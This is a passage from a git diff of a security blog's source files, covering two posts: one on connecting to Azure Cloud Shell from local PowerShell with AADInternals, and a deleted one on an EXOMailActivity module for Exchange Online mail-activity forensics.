Script 1.9.4 Az.Accounts Core,Desk {Disable-AzDataCollection, Disable-AzContex…
|
||||
Script 1.1.1 Az.Advisor Core,Desk {Get-AzAdvisorRecommendation, Enable-AzAdvi…
|
||||
Script 1.3.0 Az.Aks Core,Desk {Get-AzAksCluster, New-AzAksCluster, Remove…
|
||||
Script 1.1.4 Az.AnalysisServices Core,Desk {Resume-AzAnalysisServicesServer, Suspend-A…
|
||||
Script 2.1.0 Az.ApiManagement Core,Desk {Add-AzApiManagementApiToGateway, Add-AzApi…
|
||||
Script 1.1.0 Az.ApplicationInsights Core,Desk {Get-AzApplicationInsights, New-AzApplicati…
|
||||
Script 1.4.0 Az.Automation Core,Desk {Get-AzAutomationHybridWorkerGroup, Remove-…
|
||||
Script 3.1.0 Az.Batch Core,Desk {Remove-AzBatchAccount, Get-AzBatchAccount,…
|
||||
Script 1.0.3 Az.Billing Core,Desk {Get-AzBillingInvoice, Get-AzBillingPeriod,…
|
||||
Script 1.4.3 Az.Cdn Core,Desk {Get-AzCdnProfile, Get-AzCdnProfileSsoUrl, …
|
||||
Script 1.6.0 Az.CognitiveServices Core,Desk {Get-AzCognitiveServicesAccount, Get-AzCogn…
|
||||
Script 4.4.0 Az.Compute Core,Desk {Remove-AzAvailabilitySet, Get-AzAvailabili…
|
||||
Script 1.0.3 Az.ContainerInstance Core,Desk {New-AzContainerGroup, Get-AzContainerGroup…
|
||||
Script 1.1.1 Az.ContainerRegistry Core,Desk {New-AzContainerRegistry, Get-AzContainerRe…
|
||||
Script 1.1.0 Az.DataBoxEdge Core,Desk {Get-AzDataBoxEdgeJob, Get-AzDataBoxEdgeDev…
|
||||
Script 1.10.1 Az.DataFactory Core,Desk {Set-AzDataFactoryV2, Update-AzDataFactoryV…
|
||||
Script 1.0.2 Az.DataLakeAnalytics Core,Desk {Get-AzDataLakeAnalyticsDataSource, New-AzD…
|
||||
Script 1.2.8 Az.DataLakeStore Core,Desk {Get-AzDataLakeStoreTrustedIdProvider, Remo…
|
||||
Script 1.0.0 Az.DataShare Core,Desk {New-AzDataShareAccount, Get-AzDataShareAcc…
|
||||
Script 1.1.0 Az.DeploymentManager Core,Desk {Get-AzDeploymentManagerArtifactSource, New…
|
||||
Script 1.0.0 Az.DesktopVirtualization Core,Desk {Disconnect-AzWvdUserSession, Get-AzWvdAppl…
|
||||
Script 1.0.2 Az.DevTestLabs Core,Desk {Get-AzDtlAllowedVMSizesPolicy, Get-AzDtlAu…
|
||||
Script 1.1.2 Az.Dns Core,Desk {Get-AzDnsRecordSet, New-AzDnsRecordConfig,…
|
||||
Script 1.3.0 Az.EventGrid Core,Desk {New-AzEventGridTopic, Get-AzEventGridTopic…
|
||||
Script 1.6.0 Az.EventHub Core,Desk {New-AzEventHubNamespace, Get-AzEventHubNam…
|
||||
Script 1.6.1 Az.FrontDoor Core,Desk {New-AzFrontDoor, Get-AzFrontDoor, Set-AzFr…
|
||||
Script 1.0.2 Az.Functions Core,Desk {Get-AzFunctionApp, Get-AzFunctionAppAvaila…
|
||||
Script 0.10.8 Az.GuestConfiguration Core,Desk {Get-AzVMGuestPolicyStatus, Get-AzVMGuestPo…
|
||||
Script 3.6.0 Az.HDInsight Core,Desk {Get-AzHDInsightJob, New-AzHDInsightSqoopJo…
|
||||
Script 1.1.0 Az.HealthcareApis Core,Desk {New-AzHealthcareApisService, Remove-AzHeal…
|
||||
Script 2.5.0 Az.IotHub Core,Desk {Add-AzIotHubKey, Get-AzIotHubEventHubConsu…
|
||||
Script 2.2.0 Az.KeyVault Core,Desk {Add-AzKeyVaultCertificate, Update-AzKeyVau…
|
||||
Script 1.0.0 Az.Kusto Core,Desk {Add-AzKustoClusterLanguageExtension, Add-A…
|
||||
Script 1.3.2 Az.LogicApp Core,Desk {Get-AzIntegrationAccountAgreement, Get-AzI…
|
||||
Script 1.1.3 Az.MachineLearning Core,Desk {Move-AzMlCommitmentAssociation, Get-AzMlCo…
|
||||
Script 1.1.0 Az.Maintenance Core,Desk {Get-AzApplyUpdate, Get-AzConfigurationAssi…
|
||||
Script 1.1.0 Az.ManagedServices Core,Desk {Get-AzManagedServicesAssignment, New-AzMan…
|
||||
Script 1.0.2 Az.MarketplaceOrdering Core,Desk {Get-AzMarketplaceTerms, Set-AzMarketplaceT…
|
||||
Script 1.1.1 Az.Media Core,Desk {Sync-AzMediaServiceStorageKey, Set-AzMedia…
|
||||
Script 2.1.0 Az.Monitor Core,Desk {Get-AzMetricDefinition, Get-AzMetric, Remo…
|
||||
Script 3.4.0 Az.Network Core,Desk {Add-AzApplicationGatewayAuthenticationCert…
|
||||
Script 1.1.1 Az.NotificationHubs Core,Desk {Get-AzNotificationHub, Get-AzNotificationH…
|
||||
Script 2.3.0 Az.OperationalInsights Core,Desk {New-AzOperationalInsightsAzureActivityLogD…
|
||||
Script 1.3.1 Az.PolicyInsights Core,Desk {Get-AzPolicyEvent, Get-AzPolicyState, Get-…
|
||||
Script 1.1.2 Az.PowerBIEmbedded Core,Desk {Remove-AzPowerBIWorkspaceCollection, Get-A…
|
||||
Script 1.0.3 Az.PrivateDns Core,Desk {Get-AzPrivateDnsZone, Remove-AzPrivateDnsZ…
|
||||
Script 2.12.1 Az.RecoveryServices Core,Desk {Get-AzRecoveryServicesBackupProperty, Get-…
|
||||
Script 1.2.1 Az.RedisCache Core,Desk {Remove-AzRedisCachePatchSchedule, New-AzRe…
|
||||
Script 1.0.3 Az.Relay Core,Desk {New-AzRelayNamespace, Get-AzRelayNamespace…
|
||||
Script 2.5.1 Az.Resources Core,Desk {Get-AzProviderOperation, Remove-AzRoleAssi…
|
||||
Script 1.4.1 Az.ServiceBus Core,Desk {New-AzServiceBusNamespace, Get-AzServiceBu…
|
||||
Script 2.2.0 Az.ServiceFabric Core,Desk {Add-AzServiceFabricClientCertificate, Add-…
|
||||
Script 1.2.0 Az.SignalR Core,Desk {New-AzSignalR, Get-AzSignalR, Get-AzSignal…
|
||||
Script 2.10.0 Az.Sql Core,Desk {Get-AzSqlDatabaseTransparentDataEncryption…
|
||||
Script 1.1.0 Az.SqlVirtualMachine Core,Desk {New-AzSqlVM, Get-AzSqlVM, Update-AzSqlVM, …
|
||||
Script 2.6.0 Az.Storage Core,Desk {Get-AzStorageAccount, Get-AzStorageAccount…
|
||||
Script 1.3.0 Az.StorageSync Core,Desk {Invoke-AzStorageSyncCompatibilityCheck, Ne…
|
||||
Script 1.0.1 Az.StreamAnalytics Core,Desk {Get-AzStreamAnalyticsFunction, Get-AzStrea…
|
||||
Script 1.0.0 Az.Support Core,Desk {Get-AzSupportService, Get-AzSupportProblem…
|
||||
Script 1.0.4 Az.TrafficManager Core,Desk {Add-AzTrafficManagerCustomHeaderToEndpoint…
|
||||
Script 1.11.0 Az.Websites Core,Desk {Get-AzAppServicePlan, Set-AzAppServicePlan…
|
||||
Script 0.0.0.10 AzureAD.Standard.Preview Desk {Set-AzureADTenantDetail, Set-AzureADApplic…
|
||||
Script 0.9.3 AzurePSDrive Desk
|
||||
Script 17.0.4716… EXOPSSessionConnector Desk Connect-EXOPSSession
|
||||
Binary 0.1.1 Microsoft.PowerShell.UnixCompleters Core {Import-UnixCompleters, Remove-UnixComplete…
|
||||
Manifest 1.0.840 MicrosoftPowerBIMgmt Desk
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Admin Desk {Add-PowerBIEncryptionKey, Get-PowerBIEncry…
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Capacities Desk Get-PowerBICapacity
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Data Desk {Add-PowerBIDataset, Set-PowerBITable, New-…
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Profile Desk {Connect-PowerBIServiceAccount, Disconnect-…
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Reports Desk {Get-PowerBIReport, New-PowerBIReport, Expo…
|
||||
Binary 1.0.840 MicrosoftPowerBIMgmt.Workspaces Desk {Get-PowerBIWorkspace, Get-PowerBIWorkspace…
|
||||
Binary 1.1.4 MicrosoftTeams Core,Desk {Add-TeamUser, Connect-MicrosoftTeams, Disc…
|
||||
Script 0.9.3 PSCloudShellUtility Desk {Enter-AzVM, Get-AzCommand, Invoke-AzVMComm…
|
||||
Binary 0.8.1 SHiPS Desk
|
||||
Script 21.1.18226 SqlServer Desk {Add-RoleMember, Add-SqlAvailabilityDatabas…
|
||||
|
||||
Directory: /opt/microsoft/powershell/7/Modules
|
||||
|
||||
ModuleType Version PreRelease Name PSEdition ExportedCommands
|
||||
---------- ------- ---------- ---- --------- ----------------
|
||||
Manifest 1.2.5 Microsoft.PowerShell.Archive Desk {Compress-Archive, Expand-Archive}
|
||||
Manifest 7.0.0.0 Microsoft.PowerShell.Host Core {Start-Transcript, Stop-Transcript}
|
||||
Manifest 7.0.0.0 Microsoft.PowerShell.Management Core {Add-Content, Clear-Content, Clear-ItemProp…
|
||||
Manifest 7.0.0.0 Microsoft.PowerShell.Security Core {Get-Credential, Get-ExecutionPolicy, Set-E…
|
||||
Manifest 7.0.0.0 Microsoft.PowerShell.Utility Core {Export-Alias, Get-Alias, Import-Alias, New…
|
||||
Script 1.4.7 PackageManagement Desk {Find-Package, Get-Package, Get-PackageProv…
|
||||
Script 2.2.4.1 PowerShellGet Desk {Find-Command, Find-DSCResource, Find-Modul…
|
||||
Script 2.0.5 PSDesiredStateConfiguration Core {Configuration, New-DscChecksum, Get-DscRes…
|
||||
Script 2.0.2 PSReadLine Desk {Get-PSReadLineKeyHandler, Set-PSReadLineKe…
|
||||
Binary 2.0.3 ThreadJob Desk Start-ThreadJob
|
||||
```
|
||||
|
||||
It is even possible to install AADInternals to Cloud Shell! However, as Cloud Shell is running on Linux, only .Net Core
|
||||
is supported. So everything will not work.
|
||||
|
||||
# Using Cloud Shell from PowerShell
|
||||
Technically, the Cloud Shell is nothing but a WebSocket connection to terminal session of a Linux box in Azure.
|
||||
|
||||
## Technical details
|
||||
|
||||
The technical process to connect to Cloud Shell is as follows.
|
||||
### Step one
|
||||
First, a HTTP request (PUT) is sent to:
|
||||
```
|
||||
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2020-04-01-preview
|
||||
```
|
||||
|
||||
The payload of the request is:
|
||||
{{< highlight json >}}
|
||||
{"properties":{"osType":"linux"}}
|
||||
{{< /highlight>}}
|
||||
|
||||
The response includes an url for the **gateway**.
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"properties": {
|
||||
"osType": "Linux",
|
||||
"provisioningState": "Succeeded",
|
||||
"uri": "https://gateway12.westeurope.console.azure.com:443/n/cc-20a66344/cc-20a66344"
|
||||
}
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
### Step two
|
||||
Next, a HTTP request (POST) is sent to the gateway url with the size information (rows and columns) and the shell type (bash or pwsh):
|
||||
```
|
||||
https://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals?cols=124&rows=13&version=2019-01-01&shell=pwsh
|
||||
```
|
||||
|
||||
The response includes the url for the terminal **WebSocket**.
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"id": "0ca733551cd94ce83f8d6a1b023ff8ef",
|
||||
"socketUri": "wss://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals/0ca733551cd94ce83f8d6a1b023ff8ef",
|
||||
"idleTimeout": "20",
|
||||
"tokenUpdated": true,
|
||||
"rootDirectory": "/home/admin"
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
### Step three
|
||||
Next, a HTTP request (POST) is sent to the gateway for authorization:
|
||||
```
|
||||
https://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/authorize
|
||||
```
|
||||
The response includes the authorization token.
|
||||
{{< highlight json >}}
|
||||
{"token":"KtkU1c9zXEh1jidHf6xYskuZL5N4WujFsiw043VDEm0mq7MjBnbOKJR92nmoWazUL4yFEcm4PRRq4r5KJag"}
|
||||
{{< /highlight>}}
|
||||
|
||||
### Step four
|
||||
The final step is make a WebSocket connection to the gateway address:
|
||||
```
|
||||
wss://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals/0ca733551cd94ce83f8d6a1b023ff8ef
|
||||
```
|
||||
The authorization token must be included in a cookie:
|
||||
```
|
||||
Cookie: auth-token=KtkU1c9zXEh1jidHf6xYskuZL5N4WujFsiw043VDEm0mq7MjBnbOKJR92nmoWazUL4yFEcm4PRRq4r5KJag
|
||||
```
|
||||
|
||||
After the connection is made, all keystrokes from the (local) PowerShell are sent through the WebSocket to Azure.
|
||||
Also everything sent from the Azure through the WebSocket are printed to console.
|
||||
|
||||
The output from the Azure are <a href="http://vt100.net" target="_blank">VT100</a> based control character sequences.
|
||||
Luckily, since around 2018, <a href="Console Virtual Terminal Sequences" target="_blank">PowerShell console supports VT100</a>!
|
||||
So, all I had to do was to pipe things directly between PowerShell console and Cloud Shell.
|
||||
|
||||
## Making the connection
|
||||
|
||||
Connecting to Cloud Shell with AADInternals is pretty straight forward:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get access token
|
||||
Get-AADIntAccessTokenForCloudShell -SaveToCache
|
||||
|
||||
# Start the Cloud Shell (PowerShell)
|
||||
Start-AADIntCloudShell
|
||||
{{< /highlight>}}
|
||||
|
||||

|
||||
|
||||
To start a Bash shell instead:
|
||||
{{< highlight powershell >}}
|
||||
# Start the Cloud Shell (Bash)
|
||||
Start-AADIntCloudShell -Shell Bash
|
||||
{{< /highlight>}}
|
||||
|
||||

|
||||
|
||||
To exit from the Cloud Shell, type **exit**
|
||||
|
||||
You can also move between PowerShell and Bash in Cloud Shell. To start a bash shell while in PowerShell, type **bash**.
|
||||
To start PowerShell while in Bash, type **pwsh**.
|
||||
|
||||
|
||||
# References
|
||||
* Microsoft: <a href="https://docs.microsoft.com/en-us/azure/cloud-shell/overview" target="_blank">Overview of Azure Cloud Shell</a>
|
||||
* Microsoft: <a href="https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences" target="_blank">Console Virtual Terminal Sequences<a>
|
||||
@@ -1,147 +0,0 @@
|
||||
+++
|
||||
title = "Chasing the Unicorn: PowerShell module for 'The Secret Office 365 Forensics Tool'"
|
||||
date = "2018-07-02"
|
||||
lastmod = "2018-07-13"
|
||||
categories =["blog"]
|
||||
tags = ["Office 365","Security","Exchange","Forensics","Logs"]
|
||||
thumbnail = "/images/posts/EXOMailActivity.png"
|
||||
+++
|
||||
|
||||
In June 2018 the existence of secret Office 365 forensics tool was confirmed.
|
||||
The tool refers to Microsoft's undocumented Exchange Online Activities API.
|
||||
The API provides access to a granular mail activity events for up to six months old data!
|
||||
|
||||
To provide administrators with easy access to the API, I created a PowerShell module (EXOMailActivity).
|
||||
In this blog, I'll show you how to use the module to get access to mail activity data.
|
||||
|
||||
<!--more-->
|
||||
|
||||
# What is this "secret forensics tool"?
|
||||
|
||||
Apparently there have been rumours of the tool for some time now. In June 2018 the Anonymous revealed the existence of the
|
||||
tool as reported by <a href="http://lmgsecurity.com/exposing-the-secret-office-365-forensics-tool/" target="_blank">Sherri Davidoff from LMG security</a>.
|
||||
|
||||
In practice, the "tool" is an undocumented Exchange Online Activity API. For clarification: it is **NOT an Office 365 forensics tool**, but an Exchange Online forensics tool.
|
||||
|
||||
Anyways, the revealed Activity API provides access to granular mail activity data for up to six months old data!
|
||||
|
||||
<span style="color:red">**EDIT: In July 3rd the API seems to be banned by Microsoft. Calling the API will return a HTTP error: 403 Forbidden.**</span>
|
||||
|
||||
# EXOMailActivity PowerShell module
|
||||
Immediately after discovering the news about the Activity API I researched it carefully. Thanks to research done by
|
||||
<a href="https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/" target="_blank">CrowdStrike</a>,
|
||||
it was easy to pull up a proof-of-concept using PowerShell.
|
||||
|
||||
To make the API easily accessible for administrators, I decided to create a PowerShell module called EXOMailActivity
|
||||
|
||||
## Installing EXOMailActivity
|
||||
|
||||
The module is available at <a href="https://github.com/Gerenios/EXOMailActivity" target="_blank">GitHub</a>.
|
||||
|
||||
The easiest way to use the module is to add it to a directory from where PowerShell can find it.
|
||||
{{< highlight powershell >}}
|
||||
# List PowerShell module paths
|
||||
$env:PSModulePath -split ";"
|
||||
{{< /highlight>}}
|
||||
This returns a list of PowerShell module directories:
|
||||
```
|
||||
C:\Users\MyUser\Documents\WindowsPowerShell\Modules
|
||||
C:\Program Files\WindowsPowerShell\Modules
|
||||
C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
|
||||
C:\Program Files\SharePoint Online Management Shell\
|
||||
C:\Program Files\WindowsPowerShell\Modules\
|
||||
```
|
||||
Change the current directory to one those directories and get the module from GitHub
|
||||
{{< highlight powershell >}}
|
||||
git clone https://github.com/Gerenios/EXOMailActivity
|
||||
{{< /highlight>}}
|
||||
|
||||
## Using EXOMailActivity
|
||||
|
||||
There are two cmdlets in the module; **Get-MailActivity** and **Get-MailActivityDetails**
|
||||
|
||||
**Note!** To get the activity data, you need credentials having FullAccess to target user's mailbox.
|
||||
|
||||
In the following, we get the first 500 mail activities of the user from the previous 30 days.
|
||||
{{< highlight powershell >}}
|
||||
# Save credentials to a variable
|
||||
$cred=Get-Credential
|
||||
|
||||
# Get activity data
|
||||
Get-MailActivity -Credential $cred -User "user@example.com"
|
||||
{{< /highlight>}}
|
||||
The output contains activity data entries similar to this:
|
||||
```
|
||||
@odata.id : https://outlook.office365.com/api/v1.0/Users('user@example.com')/Activities('AAMkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOABGAAAAAADMs1bsdkG3Spbrf-DOuHSKBwC4zq7ZZymRR
|
||||
oql8uBEAL0JAAAAAAEfAAC4zq7ZZymRRoql8uBEAL0JAAADdDKuAAA=')
|
||||
@odata.etag : W/"CQAAAA=="
|
||||
Id : AAMkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOABGAAAAAADMs1bsdkG3Spbrf-DOuHSKBwC4zq7ZZymRRoql8uBEAL0JAAAAAAEfAAC4zq7ZZymRRoql8uBEAL0JAAADdDKuAAA=
|
||||
ActivityCreationTime : 2018-07-02T12:14:13.816Z
|
||||
ActivityIdType : Logon
|
||||
AppIdType : Web
|
||||
ClientSessionId : 1c6c6a80-b98b-45ef-8a4e-b874f3fe375f
|
||||
ActivityItemId :
|
||||
TimeStamp : 2018-07-02T12:14:13.019Z
|
||||
CustomProperties : {@{Name=Layout; Value=Mouse}, @{Name=Timezone; Value=FLE Standard Time}, @{Name=IPAddress; Value=104.40.211.35}, @{Name=Browser; Value=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW
|
||||
ebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36+Preload+Preload}...}
|
||||
```
|
||||
|
||||
By default, the command returns 500 entries of data for previous month (~30 days).
|
||||
The timeframe can be changed using StartTime and EndTime parameters. The number of returned entries can be set using MaxResults parameter.
|
||||
For "pagination", a StartFrom parameter can be used. Activity and application types can be specified using ActivityType and ApplicationType parameters, respectively.
|
||||
|
||||
Note! Credentials and user parameters are not required for subsequent queries.
|
||||
{{< highlight powershell >}}
|
||||
# Get the first 200 login activities from the beginning of 2018
|
||||
Get-MailActivity -StartTime "2018-01-01" -ActivityType ServerLogon -MaxResults 200
|
||||
|
||||
# Get the next 200 login activities from the beginning of 2018
|
||||
Get-MailActivity -StartTime "2018-01-01" -ActivityType ServerLogon -MaxResults 200 -StartFrom 200
|
||||
{{< /highlight>}}
|
||||
|
||||
|
||||
Activity details can be queried only for email messages. Other activity types will return an error.
|
||||
In the following, all delivered messages are saved to a variable and details will be queried for the first one.
|
||||
{{< highlight powershell >}}
|
||||
# Save mail delivery activities to a variable
|
||||
$activities=Get-MailActivity -ActivityType MessageDelivered
|
||||
|
||||
# Get details of the delivered message
|
||||
Get-MailActivityDetails -ActivityItemId $activities[0].ActivityItemId
|
||||
{{< /highlight>}}
|
||||
The output contains activity detailed data similar to this:
|
||||
```
|
||||
@odata.context : https://outlook.office365.com/api/v1.0/$metadata#Users('user%40example.com')/Messages(BccRecipients,BodyPreview,Categories,CcRecipients,ChangeKey,ConversationId,DateTim
|
||||
eCreated,DateTimeLastModified,DateTimeReceived,DateTimeSent,From,HasAttachments,Id,Importance,IsDeliveryReceiptRequested,IsDraft,IsRead,IsReadReceiptRequested,ParentFolderId,Re
|
||||
plyTo,Sender,Subject,ToRecipients,WebLink)/$entity
|
||||
@odata.id : https://outlook.office365.com/api/v1.0/Users('user@example.com')/Messages('AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut-8M64dIoHALjOrtlnK
|
||||
ZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy4EQAvQkAAAIheQAAAA==')
|
||||
@odata.etag : W/"CQAAABYAAAC4zq7ZZymRRoql8uBEAL0JAAAAAAuz"
|
||||
Id : AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut-8M64dIoHALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy4EQAvQkAAAIheQAAAA==
|
||||
DateTimeCreated : 2018-06-26T11:19:50Z
|
||||
DateTimeLastModified : 2018-06-27T19:38:27Z
|
||||
ChangeKey : CQAAABYAAAC4zq7ZZymRRoql8uBEAL0JAAAAAAuz
|
||||
Categories : {}
|
||||
DateTimeReceived : 2018-06-26T11:19:50Z
|
||||
DateTimeSent : 2018-06-26T11:19:43Z
|
||||
HasAttachments : False
|
||||
Subject : This is an email
|
||||
BodyPreview : admin demo (admin.demo@example.com) has sent you a protected message.
|
||||
Lorem ipsum dolor
|
||||
Importance : Normal
|
||||
ParentFolderId : AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgALgAAA8yzVux2QbdKlut-8M64dIoBALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAAA==
|
||||
ConversationId : AAQkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOAAQAERP2prSYs1LojG5LfI2HvA=
|
||||
IsDeliveryReceiptRequested :
|
||||
IsReadReceiptRequested : False
|
||||
IsRead : True
|
||||
IsDraft : False
|
||||
WebLink : https://outlook.office365.com/owa/?ItemID=AQMkAGRmZTg4ADUzMC1hZDM1LTQyMGQtYmNiZC05YmU3NTdmYjQyZTgARgAAA8yzVux2QbdKlut%2F8M64dIoHALjOrtlnKZFGiqXy4EQAvQkAAAIBDAAAALjOrtlnKZFGiqXy
|
||||
4EQAvQkAAAIheQAAAA%3D%3D&exvsurl=1&viewmodel=ReadMessageItem
|
||||
Sender : @{EmailAddress=}
|
||||
From : @{EmailAddress=}
|
||||
ToRecipients : {@{EmailAddress=}}
|
||||
CcRecipients : {}
|
||||
BccRecipients : {}
|
||||
ReplyTo : {}
|
||||
```
|
||||
The message body can be included using -IncludeBody switch.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user